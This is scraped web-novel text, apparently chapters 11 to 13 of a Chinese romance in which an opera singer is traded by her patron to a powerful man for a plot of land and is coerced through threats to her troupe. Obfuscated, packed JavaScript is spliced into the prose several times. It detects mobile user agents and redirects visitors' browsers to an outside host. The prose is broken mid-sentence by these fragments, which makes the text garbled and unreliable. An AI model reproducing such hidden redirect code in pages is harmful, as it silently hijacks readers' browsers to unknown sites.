0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969475|177770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机会看能不能再联系上慕觞淙。 她不能困在这傅府中,什么都不做,等候别人的计谋安排。 她要找到哥哥,也要护着自己周全。 - 隔天起床后,林青盏为院子里的海棠花浇了水,站在角落里清了清嗓子开始每日的练声。 她从小在望月台长大,朝露和白云在教授方面都十分严苛,要求望月台的一众学徒每天都必须牢固基本功,林青盏习惯了,每天都要练习一个小时。 一个小时结束,林青盏用了早餐,回屋换上傅小灵给她准备的当季高定礼裙。 她站在全身镜面前,看着身穿墨绿色长裙的自己,感觉这衣服过于隆重,但想着能回望月台,隆重些就隆重些吧。 她想得单纯,以为傅随之愿意放她出门,换好衣服转身就要走,却被站在门口的秦楠拦住,“林小姐,时间还早,请再等等。” “等?等什么?”林青盏不解。 “三爷。” 等三爷? 林青盏疑惑,“三爷也要一起去?” 秦楠没有回答,只是拦住她的去路,让她先回屋休息。 这个秦楠跟冷酷的傅慎不同,是个典型的笑面虎,看着人的时候嘴角总是带着笑,却比傅慎更不好说话。 林青盏之前听闻过这人的名声,这几天相处下来,确认外界传闻不假,果真不是好对付的料。 她没有跟秦楠争执,转身走到木椅坐下,一向纯净的眼眸难得沾染了一丝寒气。 傅小灵第一次见林青盏如此的神色,转身走出去,将秦楠拽到一旁长廊。 秦楠没个正经地挣脱开,“小灵,别拉拉扯扯的,待会外人看到该说闲话了。” 傅小灵没好气地白了他一眼,“到底怎么回事啊?三爷不是答应让林小姐回望月台,你怎么现在来拦人?” “三爷是答应让她出门,可没说是去哪里。” “什么?” 秦楠淡然看向屋内,“三爷有三爷的安排,不是我们能插手的。” 别说傅小灵,他也很想知道,他们家傅三爷到底是怎么了,干嘛花费这么多时间和精力在这位林小姐身上。 不过是傅鸿源送来的人,如果是派来的奸细除掉就好,如果不是那也应该放她回去望月台过她的生活,干什么还要为她设今天这场晚宴,将她公诸于众? - 林青盏听不到他们的谈话内容,心底更加忐忑。 这个傅随之到底搞什么啊,一会儿说可以让她出门,一会儿又不让她出门,想一出是一出。 难怪古话说伴君如伴虎,大佬就是阴晴不定。 她正忧虑着,忽见傅随之从门口长廊走来。 他身穿黑色的矜贵定制西服,黑色衬衫的黑色纽扣紧贴着他线条分明的脖颈,往上是他轮廓硬朗的脸庞,高挺鼻梁顶着金丝眼镜,遮挡不住那双锐利的眼眸。 傅随之心底阴沉冰冷是出了名的,他从来不屑于将外人放在眼底,更妄论会被吸引在意别人。 但不得不说,林青盏就是有这样的本事。 她这张脸长得极为好看,桃花眼,高鼻梁,小嘴唇,都跟去世的棠傛很是相似,侧面更是几乎一模一样。 这也是为何傅随之对她刮目相看,会将她带回海棠苑的原因。 这几天,傅随之还发现她的这双眼眸纯净得像是清泉般,让人没忍住望入深处,要跟着坠落下去似的。 傅随之轻捻了捻指腹,抬眸看了眼林青盏,示意她跟上。 林青盏没有迟疑,跟着傅随之上了车,一路到了京华酒店。 京华酒店是唐氏集团产下的酒店,也是浮城最豪华的酒店。 它建筑得极为奢华,酒店门口是高大的喷泉,时时刻刻泉柱涌动,巨大的招牌闪烁着浅金色的光,看着很是高级。 黑色明亮的迈巴赫停靠在京华酒店门口。 林青盏随着傅随之下了车,看了眼门口铺着的大红色地毯,疑惑转头看向傅随之,“三爷我们这是要?” 傅随之嘴角挂着笑,有些邪,“不是想出门见人,今天就满足你。” 林青盏之前都觉得这人不笑让人觉得很冷,现在才知道,这人笑起来更是可怕! 也是到了后来,林青盏才明白,傅随之何其聪明的人,别人想方设法要算计他,没想他全部了然于心,甚至于能摆下晚宴,以最盛大的方式邀请所有人走进他画的牢笼。 怎么都飞不住他的手掌心! 11. 第 11 章 不是想出门见人,今天就满足你。” 站在京华酒店门口时,林青盏还不知道傅随之所想,眼神疑惑看向傅随之,完全不理解他这话是什么意思。 所以他松口让她出门,不是同意让她回望月台? 林青盏看向傅随之,“三爷?” 傅随之浅棕色眼眸望着她,好似能将她心思都看透,“相比望月台,林小姐应该还有更想见的人。” 林青盏心底咯噔了下,瞬间想到慕觞淙,心虚得很。 在浮城这种地方,望月台能一直长红办下来,背后必然是有些靠山的,不说朝露和纪老交情很好,白云和苏家现任当家的那位关系也不错,兰青翎自然也有许多年轻公子哥捧场,而林青盏背后的靠山是慕觞淙这件事更不是秘密。 慕殇淙是傅鸿源的心腹,这次林青盏可能是傅于然的消息,又是傅鸿源送到傅随之面前的,这些弯弯绕绕就变得很有深意。 傅随之这种人不可能不怀疑。 但林青盏不知道傅随之会怎么做? 她更不知道自己该怎么做? 到了此刻,她心底多少有些埋怨慕殇淙。 他到底为什么要让自己假冒傅于然来招惹傅随之啊,这种攀上大佬的方式一点也不高明。 现在她压根无法安然脱身不说,傅随之必然认为她是傅鸿源派来的棋子,对他有什么阴谋诡计。 她自己都是心虚的。 迎宾服务员走上来,打断了林青盏的思绪,她本能跟在傅随之身后往二楼最宽敞的宴会厅走去。 他们在金碧辉煌的大门前站定,傅随之忽然抓住她白皙手腕。 不属于自己的温度让林青盏轻颤了下,她抬眸看向他,见他拉住自己的手掌搭在他手臂,下意识看过去。 到了这一刻,她才恍然想着,从那日慕觞淙去看她,为她送去哥哥的消息后,一切都变得不可控制。 像是有一双手将她推着往前走,推着她走到傅随之面前,又推着她迈进前方犹如深渊的境地,慢慢深陷其中。 她好像无法回头了。 金碧辉煌的大门被从外拉开,犹如打开潘朵拉的盒子一样,林青盏看到了完全不一样的世界。 布置奢华的宴会厅里,悬空而在的复杂水晶灯洒落白色的光芒,四周摆放着的香槟被照耀得极为刺眼。 更为夺目的是里面的人物,身穿各式高级定制西服的男人和身披款式新颖好看晚礼服的美丽女士们,全部都是浮城有头有脸的豪门贵公子大小姐,觥筹交错,谈笑风生。 所有的所有,在门被打开的时候,突然收敛。 众人的目光投在门口的那对璧人身上,满是惊诧。 傅随之性情狠厉阴沉,行事风格小心,这么些年身边从未有女人的身影 这几日有消息传闻傅随之去望月台将当家花旦林青盏带走,有人说林青盏可能是他妹妹,也有人说林青盏长得花容月貌,还有一副好嗓子,收获了傅随之倾心,这才被带回傅府,传闻很多,始终没有被证实。 没想到今天傅随之会设宴,行所无忌地将人带出来。 众人目光灼灼盯着他们,像是舞台的灯束紧紧跟随。 林青盏常年在舞台上表演,接受过各种瞩目,勉强稳得住神色,如玉手腕挽住他的手臂,迈步往里面走。 她身姿高挑纤瘦,站在高大威武的傅随之身旁,竟有股男才女貌的相配。 已经有人窃窃私语,“听说这位林小姐是三爷刚找回来的妹妹?” “林小姐怎么可能是他的妹妹,林小姐在浮城十几年了,要真是妹妹,怎么会等到现在才相认?” “应该不是妹妹,据说是有人往傅三爷身边送过去的金丝雀?” “三爷竟养起了金丝雀?!” 这些话林青盏半分没有听到,说的人也断然不敢将这些话往傅随之耳朵里传。 这种豪门圈内的关系,摆不上台面的都有人争先恐后,就算是金丝雀又如何,能在傅三爷身边待着就已经是莫大的本事了,更何况是被傅随之亲自带出门昭告全世界的,他们都不敢怠慢得罪。 林青盏原本在望月台是唱曲的,现代人对这门艺术或许会有敬畏,但多的是铜臭之人将她看扁,平日里在望月台大声吆喝的,今日对她却是毕恭毕敬的。 她早年父母双亡,哥哥失踪,蜗居在望月台讨生活,在戏楼里看惯了各种嘴脸,对于面前所有人的恭维以及复杂的眼神,林青盏都能淡然面对。 但她不屑欣喜。 直到她挽着傅随之的手臂走到宴会厅中央,抬眸对上慕觞淙的那双绅士温柔的眼眸时,林青盏心底咯噔了下,双腿颤抖,差点没有站稳。 是傅随之抓住她的手腕将她扶住。 随后,傅随之修长手臂箍住林青盏纤细如柳枝的腰,将她往他那边勾过去,紧紧掐住。 像是想借此撑住她不让她滑落,但更像是透着某种恶趣味,眼中满是看戏的兴致。 林青盏诧异看向傅随之,见他也在看着自己,浅棕色眼眸里是深沉的嘲弄。 他修长指尖捏住林青盏的下巴,“这么着急要出傅府,是想见他?” 林青盏凝神望着他,没说话,片刻后,转身看向慕殇淙的方向,见他也在看着她。 不过几日没见慕殇淙,她心底对他的挂念犹如海浪翻涌,可现在的局面,却让她和他之间像是隔着银河。 身穿西服的慕殇淙站在不远处,神情淡然,眼眸深处的思绪很是复杂,不再是以往浓情蜜意的温柔,更像是怜惜。 他原本是看着她的,可旁边的宋家大小姐宋雅薇突然走上前挽住慕殇淙的手臂,慕殇淙随即收回视线看向宋雅薇,低头跟她说着话时,很是温柔。 林青盏的心突然塌陷了一下。 原先的所有猜想在这一刻,好似有了印证。 慕殇淙最终还是选择放手不要她。 慕家这几十年没落了些,在浮城的地位远不如以往,慕殇淙作为现任家主,一直想将慕家壮大,让慕家恢复以往的辉煌。 从一开始,他的婚姻就注定必须是他家族事业的助力,所以他百般宠爱林青盏,却不曾跟她有过越界的行为,是刻意留有余地。 林青盏不是没想过,有天他会突然宣布要结婚,将跟她仅存的那一丝暧昧也斩断,但她没想到会这么快。 更没想到,会是在这样的情况下,得到慕殇淙落下的这一刀。 察觉到她的神色变化,傅随之走上前一步,雄壮的身躯贴着她单薄的脊背,手臂从背后绕过来,捏住她的下巴,迫使她就那么盯着慕殇淙。 他低沉的声音在她耳畔响起,“这就是你的靠山?你知不知道他对你做了什么?” 傅随之低沉如寒霜的气息压过来,让她感觉脖颈后面的肌肤一阵冰凉,她身体止不住颤抖。 原本对慕殇淙的失望和难过,在被傅随之的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我不是你的妹妹,却有人往你那边送了资料,说我可能是你的妹妹。”林青盏望入他的眼眸,“给你送消息的或许是慕殇淙,或者是他背后的人,对吗?” 傅随之低头看她,并不回答。 林青盏知道他是想通过她的眼神确定,她是不是真的不知道实情。 她突然明白了,为什么自从那天之后,慕殇淙没有再来望月台,不接她电话不回她消息,因为她不应该知道太多。 只有什么都不知道,对于林青盏来说,才是真正的安全。 林青盏现在才能如此正义凌然地发出疑问,“既然证实我不是你妹妹了,那三爷为什么要设今天这场晚宴,公然带着我出面?” 傅随之挑眉,依旧没有回答。 “因为你不信我?”林青盏撩起浓密眼睫望向傅随之那双犀利的眼眸,没有半分退缩,“因为慕殇淙是傅鸿源的人,而我跟慕殇淙有牵扯,你不信他们,所以更不信我。” 傅随之的手掌还贴在她腰间,掌心的滚烫从柔嫩肌肤渗透而入,一下下敲击着她的心脏。 林青盏感觉就快要不能呼吸,却还是要佯装镇定。 “三爷。”即便到了这种时候,她的声音依旧是细声软语的,“我可以发誓,我真的不知道他们是什么目的,我更不知道其他消息,对你没有好处,但也无法做伤害你的事情。所以,能不能请你放过我?” 12. 第 12 章 此刻,他们就站在奢华宴会厅中央,在场所有宾客都在望向他们。 他们的姿势实在太过暧昧,他从背后掐着她的腰,与她紧密相贴,这样的举动私底下绝对是会叫人脸红心跳的那种事。傅随之现在竟然与她公然如此。 林青盏能知道,在场宾客必定受到了巨大的冲击,或许对于他们之间的关系,已经发散思维联想到不可描述之上。 这不是她想要的,她还想保留名声。 她转身将傅随之推开。 傅随之倒是没有勉强她,顺势松开了手,只是捻了下指腹,嘴角的笑容也跟着消失不见。 他终于缓缓开口,“不能。” 几乎是不留情面地拒绝了她。 林青盏心脏猛地“咚”了一声,感觉自己周围的空气好似被抽空,只剩下压迫人心的沉闷。 下一秒,傅随之继续开口,“林小姐,游戏开场了,所有人都不能叫停。” 真是个疯子! 谁要跟他玩游戏! 林青盏扫视了眼周围,今晚的宴会厅尤其华丽奢华,原来是傅随之游戏的开场。 所有人,包括她,都是他消遣的一环。 她回头,看到他嘴角勾着浅浅的邪恶的笑容。 “不管是不是参与者,既已入局,林小姐不如好好走完这台大戏。” “……” 他慢慢弯下腰,线条分明的嘴唇无限逼近林青盏,嘴角的笑容更加深刻。 下一秒,他修长手指捏住她的下巴,微微往上抬,她差点就亲到他的唇。 “欢迎加入这场局中局,稍后我会先送林小姐一场好戏,名叫献海棠。” - 林青盏真的摸不透傅随之的想法,也不知道他到底想做什么。 当傅随之将她领到楼上小宴会厅时,她几乎没有挣扎,随着傅随之将她安置在山水屏风外的小包厢里。 秦楠不知道从哪个地方冒出来的,亲自为她端来一壶玫瑰花茶,清透的红在玻璃茶壶中荡漾着涟漪,美丽的玫瑰花缓慢绽放开,像是溺水者慌乱张开的手臂。 和林青盏此刻的境地一模一样。 她听到屏风后响起了慕觞淙的声音,撩起浓密眼睫,从屏风缝隙往外看,看到小包厢走进来两个人,是慕觞淙和傅鸿源。 小包厢中央摆放着黑色真皮沙发,身穿黑色西装的傅随之坐在中央,宽阔手掌捏着透明玻璃酒杯。 他精美五官在暖橙色灯光照射下,显得越发薄情冷漠,金丝眼镜挂在高挺鼻梁,拓下浅浅的黑影,将他眼眸里的阴沉锐利拉得更长。 与他犀利的阴狠相比,傅鸿源倒是显得温和许多,他的那份阴沉是被藏匿起来的,好像夜里的鹰,做好了随时反扑的准备。 傅鸿源轻笑着走近,在傅随之右手边的长沙发坐下,自己拿来雕花透明玻璃杯和康帝酒瓶,直接给自己倒上一杯,端着晃悠了两下。 “大哥,听说你做了亲子鉴定?” 傅鸿源五官和傅随之有些相似,但明显没他帅气,一副得瑟嘴脸有点油。 “结果出来了?” 傅随之抬眸看向傅鸿源,“你倒是挺关心这事?” “我当然关心啊。于然怎么说也是我姐姐,她走失二十几年都没找回来,不只是你担忧,我们傅家人都时刻牵挂着。我也想帮你把她找回来,不然我也不会费尽心思找寻线索。” 傅随之修长手指捏着酒杯仰头猛得饮尽杯中酒。 “我之前一直让觞淙注意着这件事,从海城那边查了许久都没结果。我就想着海城那边查不到,那我从她的特征查啊。” 傅鸿源带着深意笑容,“这次消息说来也巧。我是前几天听到奶奶无意中说起才知道,于然背后竟然有个伤痕。觞淙听我在说这事,才告诉他,他看过一样的海棠印记!” 说到海棠花印记,傅随之终于大发慈悲将目光落在慕觞淙身上,眼底的犀利阴狠越发张扬。 “你看到?”呵。 慕觞淙长相斯文,露出浅浅的笑容,“我听傅总说起海棠花印记时,也不太确定。我知道林小姐身上有个海棠花印记,就让傅总给三爷送了个消息。这种事情终归是要三爷自己确认的。” 那个海棠花印记在蝴蝶骨上,并不是什么特别隐藏的地方,林青盏只要穿件露背的裙子,别人都能看到。 但傅随之本能觉得林青盏不是那种会随意坦然露背的女人,所以慕觞淙会看到林青盏的后背,可想而知,会是什么情况。 傅随之眼神冷了几分。 见他神色突然变了,傅鸿源还以为他拿到亲子鉴定结果不乐意,心底发笑,还要装模作样问:“难道这次也不是?” 傅随之垂眸继续喝酒。 傅鸿源佯装宽慰的口气,“哎,我还以为这次八九不离十。我之前看过那位林小姐,长得跟大夫人当真有五分相似,还有同样的伤痕……竟然又不是。” 他看向傅随之,“不是就不是吧,再找就是了。” 傅随之依旧不为所动。 “不过我今天看着,大哥好像还挺喜欢这位林小姐的?”傅鸿源笑得没有半分真诚,“虽然没有血缘关系,但林小姐这长相倒是很讨人怜惜,大哥要喜欢,把人留在身边养着就好了。” 傅随之终于再次抬起眼眸看向傅鸿源,眼底腾升而起一阵让人毛骨悚然的笑意。 傅鸿源明知他心情不好,还是得继续说下去,“大哥,在你这儿我就说老实话了。我这几年花在找人这事儿的力气不小,我手底下还有一大帮人要养活也不容易。这次虽然找的人不对,但这姑娘看着也能讨大哥几分开心,大哥多少给我点辛苦费,行不行?” 谁都知道傅随之是真的很在意走丢的那个妹妹,在找妹妹这件事上花费再多都愿意。 之前傅鸿源一直假意帮他找寻妹妹,也借此得到一些好处。 他自认为这次找的人比之前的都靠谱,虽然最后结果不是,但就凭林青盏和棠傛长相有五分相似的份上,傅鸿源觉得自己开这个口,傅随之不会不答应。 他狮子大开口,“城北那块地皮,大哥能不能让我?” 傅随之眼眸深处的那股阴冷稍微被隐藏,取而代之的是邪恶的笑。 “铺垫这么多,是想要城北的地皮?” 傅鸿源卖可怜,“大哥,现在整个傅家都在你手里,集团握着多少块地啊,光浮城没开发的就十几块,肯定不差城北这块。但我不一样,我要是没这块地,后面那几块荒地都带不起来,我手里冠林这个项目就废了。” 傅随之淡漠看他,高高在上,好似连善心都不愿意施舍。 傅鸿源收敛了讨好的眼神,露出阴狠的嘴脸,直接开价,“大哥,只要你能让出那块地皮,那位林小姐就是你的人了。” 随着这话落下,傅随之握着茶杯重重搁在桌面,发出沉闷的“咚”一声。 “你说送就送,你是她什么人?” 傅鸿源见傅随之当真对她有兴趣的样子,心底腾起欢喜,转身看向慕觞淙。 慕觞淙了然开口,“三爷,我对青盏有救命之恩。只要你喜欢,我必然能让她甘愿待在你身边伺候着。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969477|177770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>话音一落,屏风内传来“哐当”一声,是茶杯倒在桌面的声音。 傅随之看着慕觞淙,突然笑了。 以往不是没有人往他身边送女人,但多少都忌讳着他的性情,送得隐秘送得婉转,这倒是第一次有人如此直接了当地提出。 而且送的还是他慕觞淙暧昧不清的女人! 傅随之的眼神阴沉得像是被海面压制着的海啸,随时会翻涌而来将人淹没。 - 小包厢里。 林青盏坐在木桌前,手里的茶杯掉落在桌面,倒了一摊茶水,缓缓滴落在地。 傅小灵赶忙拿了帕子过来为她擦拭手掌,林青盏目光从屏风间隙望着外面的慕觞淙,心底犹如坠落冰窖。 八岁那年,林青盏是在今安茶楼门口遇到的慕殇淙。 百年来,今安茶楼在浮城一直盛行,林青盏跟着哥哥到浮城后,没能找到投靠的亲戚,身上的钱花完了,只能流落街头。 林解比林青盏大八岁,那时候已经是个高个子男孩,即便是深陷窘迫境地,也想着照顾妹妹。 他不知道用了什么法子,求着今安茶楼的管事让他留在那边帮忙,只要每天给他和妹妹两碗面吃就行。 林青盏跟着哥哥勉强度日,就是想着能找到亲戚就有活路了。 没想到亲戚没找到,哥哥也跟着失踪了。 那段时间,林青盏着实没办法,肚子饿得前胸贴后背时,她只能到今安茶楼门口乞讨。 这里出入的都是豪门家族,有些善心之人看到长相水灵的她,多半不会为难,给店门口的服务员点小票,就能赏赐点吃的。 但也有运气差的时候,有天傍晚,她不小心惹上一位公子哥,被人推倒在地摔破了手肘,是慕觞淙为她解了围,将她从地上扶起来。 在对上他那双斯文温柔的眼眸时,林青盏几乎是本能反应拽住他的衣服,像是赖上了他就是不放手。 慕觞淙看她可怜将她暂时收留在慕府。 那时候他不过是十六岁的少年,家道中落,府上有个嗜酒经常发酒疯的父亲不说,还有个体弱多病的母亲,以及一大帮惦记着他继承人位置的旁系族人。 他自顾不暇,压根顾不上她。 他知道林青盏之前故意躲开了警察,不愿意去福利院,便找了府上的人打点关系,将她送到望月台去。 林青盏永远记得那天晚上,慕觞淙带着她在慕府后花园里玩了许久,最后站在紫藤花旁,蹲下身来,很是温柔地望着她,声音轻柔地对她说,“小青盏,不要怪哥哥。” 她生来长着婉柔的脸庞,听言什么都没有问,只点点头,“淙哥哥,我愿意去望月台。” 从初见,林青盏就知道他身不由己,所以这么些年她从来没有逼迫过慕觞淙。 成年后,两人心意相通,暧昧不清,慕觞淙在外面受了气或者工作累了,跑到她这儿休息,林青盏从来不会过问太多,只管让他放松休息。 她知道他有他的抱负和理想,知道他给不了她婚姻,她就没有主动去要去争取。 她可以不管外界对他们关系的揣测,不管别人怎么议论她,也接受了他只在暧昧界限徘徊,想要她又不对外宣告,不捅破那层纸又霸道地占着她。 因为她喜欢他。 她想过有一天他们这种暧昧不清的关系终究会停止,他会跟对他家族事业有助力的人结婚,跟她彻底断了联系,但她万万没想到,有一天那个疼她宠她的慕觞淙,会为了利益将她送到另外一个男人手里。 那个男人还是人人惧怕的傅三爷。 13.第 13 章 京华酒店后花园,著名雕刻师雕刻的大卫雕像高高挂起,宏伟气魄满是艺术气息。 雕像下的白色花坛里种满了美丽的香槟玫瑰,隐约透着淡淡的花香。 林青盏鼻尖缠绕着的却是酸楚。 她胸膛起起伏伏深呼吸着,良久才找回自己的声音,“慕先生这是什么意思?” 到了此刻,即便她咬着牙只能唤一声“慕先生”,她还是想听听他的解释,想知道他到底为什么要这么做? 慕觞淙穿着黑色西服,站在她面前,垂眸望着她时,那双眼眸还是如以往那般温柔,只是现在看来,倒觉得可笑。 “小青盏,你知道我虽然继承了慕氏集团,但处处受束。族中人天天盯着我,只要我行之有差,万劫不复。我赌不起。” 林青盏眼眸满是湿雾,“所以,你选择放弃我?” “这是傅鸿源的安排,”他顿了顿,“我无能为力。” 好一句“无能也力”,这样就能随意伤害她? 林青盏在心底冷笑。 慕殇淙望着她,倒像是想将最后一丝温柔给她。 “这次的事情是傅鸿源有意为之,你我都躲不掉。他盯上傅随之手里那块地,想方设法都得不到,最终只能搬出傅于然的名头。” 慕殇淙声音难得有一丝颤抖,“我们当然知道你不是傅于然,但你跟当年的棠傛夫人长得很像,是最好的人选。” “什么人选?你们送给傅随之女人的最好人选?” 慕殇淙没说话。 “你们知道随意往傅随之身边送女人,他必然不可能让靠近,所以才想了这个歪主意!你们知道,傅随之对这个失踪的妹妹极为看重,不可能错过任何可能,必然会亲自面见!只要傅随之面见了,最终又能证明我不是傅于然,他就有可能留下我这个女人!这就是你们的算盘?!” 慕殇淙点头承认,“是。这是……傅鸿源的安排。” “你就答应了他的安排?” 慕殇淙抬眸看她,没有正面回答,只解释,“小青盏,我没有骗你,你哥哥当年确实是被傅家的人带走,进了游园惊梦,就没再出来过。你应该知道游园惊梦是傅随之名下的产业,连我都很难进去。你想找哥哥,只能从傅随之下手。我那天问过你,为了找哥哥是不是在所不惜,你的回答很笃定。” 林青盏纤细指尖摸到手腕戴着的手镯,冰凉柔滑的触觉让她勉强镇定下来。 这手镯还是两个月前慕觞淙亲自为她戴上的。 当时浓情蜜意,不过短短两个月,现在这个男人却站在她面前以哥哥的事情胁迫她。 原本她还想问他是不是从一开始就不曾付出过真心,但现在想想没有必要了。 林青盏抬头再对上慕觞淙那双温柔眼眸时,心底已冷静许多。 “我是要找哥哥,但不代表我要为此赔上自己。慕先生,你也别偷换概念,我不可能随意你们摆布。” 若是之前远观傅随之,知道傅随之不好惹,这几天接触下来,林青盏更清楚知道这位傅三爷是她惹不起的疯子。 她不想跟他有任何干系。 走廊外的紫藤花飘散下来零碎的花瓣,迷乱了林青盏的眼眸,她眨了眨眼睫才将眼里的湿润压下去,果决地转过身要离开。 慕觞淙上前一步,声音彻底冷了下来,“小青盏,你不找哥哥,也舍得整个望月台为你的行为买单吗?” 她豁然转过身,看向慕觞淙的眼眸沾染了怒意,“你什么意思?” 慕觞淙绅士依旧,只是那双眼眸里的温柔裹着刀锋。 “你也知道,这些年傅鸿源和傅随之斗得不可开交。这次为了从傅随之口中夺食,傅鸿源绞尽脑汁。如果你坏了他的事,他想让望月台跟你一起消失,我也阻止不了。” 林青盏知道,慕觞淙说的不假,傅鸿源和他都有这个能力让望月台在浮城彻底消失。 她望着他,气得眼泪都掉了下来,纤细手掌紧紧握着,却拿他没有办法。 慕觞淙垂眸看着她脸颊滑落晶莹泪滴,不再像是以往那样温柔为她擦拭眼泪,而是别过脸,“小青盏,别怪我。” 说罢,他迈步从她身旁走过。 人走了,林青盏才慢慢蹲下身,白皙手指捏住左手戴着的翡翠手镯,眼泪像是断了线的雨滴从白皙脸蛋滑落。 她记得有段时间慕觞淙来望月台来得很勤,流言蜚语更甚。 顾蝉觉得她这么不明不白跟着慕觞淙,毁了名声不说,还很容易被骗感情,三番五次劝她要想清楚。 那时候林青盏和慕觞淙正是浓情时刻,满心都是他,她告诉顾蝉,这条路是她自己选的,如果有天发现坠落下去的是悬崖,她也不后悔,任何结果她都承担得起。 那时候她以为,这段义无反顾的结果不过是失去他,与他形同陌路。 是到了此刻,她才发现当时的自己有多傻。 农历五月天,天气已逐渐有了热度。 林青盏蹲在地上,却感觉身上冰冷一片,她举起手背将脸蛋挂着的泪滴拭去,眼眸深处有着倔强。 下一秒,她感觉面前突然覆盖下来一片黑影,抬眸便对上了那双浅棕色眼眸。 傅随之身形高大,一身黑色西装,矜贵傲然,更显得冰冷。 他的脸庞轮廓极为明朗,是典型的高冷人设,那双眼眸始终透着一股犀利,冰冷中有一股让人恐惧的阴沉狠戾。 林青盏每次看到他,心底都是忐忑的。 她快速将眼泪擦干,原本是想站起身,却突然听到他冷笑一声。 她抬眸看向他,听到他冰冷声线说道:“为一个男人哭成这样,你这么弱?” 被喜欢的人送给另一个男人,遇上这种乱七八糟的事情,她心情本来就不好,这个人还要来这边阴阳怪气! 她没忍住嘀咕了声,“女人是水做的,天生会掉眼泪,不知道啊?” “嗤,刚知道。”傅随之冷眼看着她,“是洪水做的。” “……”这人真的是!! - 林青盏跟了慕觞淙许多年,非常了解这个人,他看着一派绅士作风,但行事狠戾,会处处斟酌利益。 要是傅鸿源真的下令,为了守住慕家守住他的利益,他什么事情都干得出来。 林青盏心底十分担心望月台。 隔天清晨,她掐着时间给师父白云打了通电话,大致说了最近的事情,想提醒台里要注意傅鸿源那边。 之前白云看到傅随之强制将人带走,心中有着担心,这几天跟林青盏时刻保持着联系,知道她在傅府很安全才安心。 白云心底也很纳闷,傅随之怎么会突然来望月台抓人,而且还是慕殇淙提前叫人来传的消息。 现在听到林青盏所说,白云总算明白了,原来这一切都是慕殇淙的安排,他竟然这么光明正大就将林青盏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971499|177770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卖了! 她气得拍桌子,直说自己看错了慕觞淙! 当初林青盏不明不白跟着慕觞淙的时候,她就不同意。 林青盏和慕殇淙地位悬殊太大,而慕殇淙心底始终惦记着家族事业,断然不可能为了林青盏放弃家主之位,这种种因素下,决定了林青盏和慕殇淙之间不可能有结果。 只是那时候林青盏满心满眼都是慕殇淙,即便没有名分也愿意这么不清不楚跟着慕殇淙,白云劝说再多也没有用,只能放之任之,想着时候到了,他们自然就会有个了断。 万万没想到他们的结果是,慕觞淙将自己的女人送给别人,就为了换取利益! 林青盏听着白云在电话彼端气急败坏骂着,想要说话却怎么都插不上嘴。 忽然,她听到电话彼端传来阮青山的声音,“不好了!” 白云和阮青山说了几句,压根顾不上林青盏,直接挂断了电话。 林青盏清楚听到电话彼端的对话。 阮青山说门口有人来闹事,直接将望月台的摆台都砸了,眼看着这几天生意是做不下去了。 她坐在房间里的拔步床边,双手握着手机,全身忍不住颤抖。 想也知道,必然是傅鸿源派人干的。 手机再次响起,是兰青翎打来的电话。 林青盏快速接起,“师姐。” 兰青翎询问了几句,问她现在是否还好,林青盏心情忐忑回答,而后问:“台里怎么了?” “小盏,你和慕先生是怎么了?” “我们——” 林青盏久久开不了口,她也不知道该怎么说清现在的情况,一切都发生得很突然,让她以往的笃定和果决成了顶级笑话。 兰青翎哀叹了声,“刚刚慕家的人过来,说你得罪了傅鸿源傅总,让台里安排好后路,散团。” 台里的人一直知道慕觞淙和林青盏的关系,这些年也默认了慕觞淙就是望月台的靠山,可是现在突然变天了,慕觞淙竟然让他们滚出浮城? 台里亲近的几个人都很了解林青盏,这时候还能跟她统一战线,但望月台养着六十号人,现在傅鸿源一句话,要让他们彻底没了家,其他人接受不了这样的事情,难免会埋怨林青盏。 兰青翎跟林青盏相依为命了十六年,心疼她才特意打电话过来询问和宽慰。 林青盏全身的力气瞬间被抽空似的,手臂无力垂落下来,什么话都说不出来。 经历昨晚的事情后,林青盏还心存侥幸,想着慕殇淙或许不会赶尽杀绝,她原本是打算今天跟傅随之说清楚就离开傅府。 但她终究是看错了。 就算她不找哥哥了,也不可能看着整个望月台因为她毁于一旦。 慕殇淙为她架起来的天平里,一边架着她,另一边将整个望月台端了上来,让她压根无法选择。 挂断兰青翎电话后,林青盏起身走到旁边的梳妆台前坐下。 她撩起浓密眼睫望着镜子里的自己,眉如翠羽,肌如白雪,齿如含贝,粉黛娇媚,是白云曾说过天生的名角脸。 她一直自诩如清风如百合如荷叶垂落不沾淤,可现在她却要亲自将自己送到名声响当当的傅三爷怀里。 她描眉的手指轻颤了下,随即又镇定下来,很快站起身,往傅随之二楼的书房而去。 望月台是她的家,为了守护它,她可以做任何事。 包括出卖自己。 14.第 14 章 海棠苑很大,但傅随之的生活起居基本都在前院。 